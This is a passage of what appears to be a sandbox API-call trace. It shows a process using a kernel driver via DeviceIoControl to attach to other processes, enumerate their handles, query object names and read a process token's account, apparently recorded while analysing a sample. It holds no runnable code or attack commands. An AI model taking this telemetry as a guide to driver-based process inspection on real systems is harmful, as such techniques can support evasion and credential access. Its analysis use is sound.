(Object=0xfffffa8003277b70) returned 0x1 [0071.536] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.536] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0071.537] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.537] PsAcquireProcessExitSynchronization () returned 0x0 [0071.537] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.537] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0071.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.537] PsReleaseProcessExitSynchronization () returned 0x2 [0071.537] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.537] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa80039d0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.537] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0071.537] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0071.537] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.537] PsAcquireProcessExitSynchronization () returned 0x0 [0071.537] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.537] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0071.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.537] PsReleaseProcessExitSynchronization () returned 0x2 [0071.537] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.537] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039d1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.537] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0071.537] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0071.537] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.537] PsAcquireProcessExitSynchronization () returned 0x0 [0071.537] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.537] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0071.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.538] PsReleaseProcessExitSynchronization () returned 0x2 [0071.538] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.538] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039d2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.538] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0071.538] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0071.538] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.538] PsAcquireProcessExitSynchronization () returned 0x0 [0071.538] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.538] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0071.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.538] PsReleaseProcessExitSynchronization () returned 0x2 [0071.538] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.538] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa80039d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.538] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0071.538] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0071.538] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.538] PsAcquireProcessExitSynchronization () returned 0x0 [0071.538] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.538] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0071.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.538] PsReleaseProcessExitSynchronization () returned 0x2 [0071.538] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.538] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa80039d4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.538] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0071.539] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.539] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.539] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0071.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0071.539] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0071.539] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a4c) returned 0x0 [0071.539] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x8a [0071.539] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a4c, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0071.539] ZwClose (Handle=0xffffffff80000a4c) returned 0x0 [0071.539] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.539] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0071.539] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0071.540] CloseHandle (hObject=0xc8) returned 1 [0071.540] CloseHandle (hObject=0xc0) returned 1 [0071.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0071.541] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.541] PsAcquireProcessExitSynchronization () returned 0x0 [0071.541] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.541] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0071.541] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.541] PsReleaseProcessExitSynchronization () returned 0x2 [0071.541] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.541] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.541] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0071.541] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.541] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0071.541] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.541] PsAcquireProcessExitSynchronization () returned 0x0 [0071.541] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.541] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0071.541] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.541] PsReleaseProcessExitSynchronization () returned 0x2 [0071.541] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.541] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039d6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.541] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0071.541] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.541] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.542] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.542] PsAcquireProcessExitSynchronization () returned 0x0 [0071.542] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.542] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0071.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.542] PsReleaseProcessExitSynchronization () returned 0x2 [0071.542] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.542] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039d7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.542] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0071.542] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0071.947] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.947] PsAcquireProcessExitSynchronization () returned 0x0 [0071.947] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.947] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0071.947] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.947] PsReleaseProcessExitSynchronization () returned 0x2 [0071.947] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.947] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038fd7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fd7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.947] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0071.947] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0071.947] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.947] PsAcquireProcessExitSynchronization () returned 0x0 [0071.947] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.947] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0071.947] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.947] PsReleaseProcessExitSynchronization () returned 0x2 [0071.947] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.947] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.947] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0071.947] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0071.948] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.948] PsAcquireProcessExitSynchronization () returned 0x0 [0071.948] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0071.948] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0071.948] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.948] PsReleaseProcessExitSynchronization () returned 0x2 [0071.948] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0071.948] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.008] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0072.008] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.008] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.008] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0072.008] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.009] PsAcquireProcessExitSynchronization () returned 0x0 [0072.009] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0072.009] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0072.009] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.009] PsReleaseProcessExitSynchronization () returned 0x2 [0072.009] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0072.009] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.009] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0072.009] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.009] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0072.009] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.009] PsAcquireProcessExitSynchronization () returned 0x0 [0072.009] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0072.009] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0072.009] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.009] PsReleaseProcessExitSynchronization () returned 0x2 [0072.009] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0072.009] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.009] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0072.009] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.009] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0072.009] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.009] PsAcquireProcessExitSynchronization () returned 0x0 [0072.009] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054f85d0) [0072.010] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0072.010] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.010] PsReleaseProcessExitSynchronization () returned 0x2 [0072.010] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0072.010] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.010] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0072.010] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.010] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.010] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, 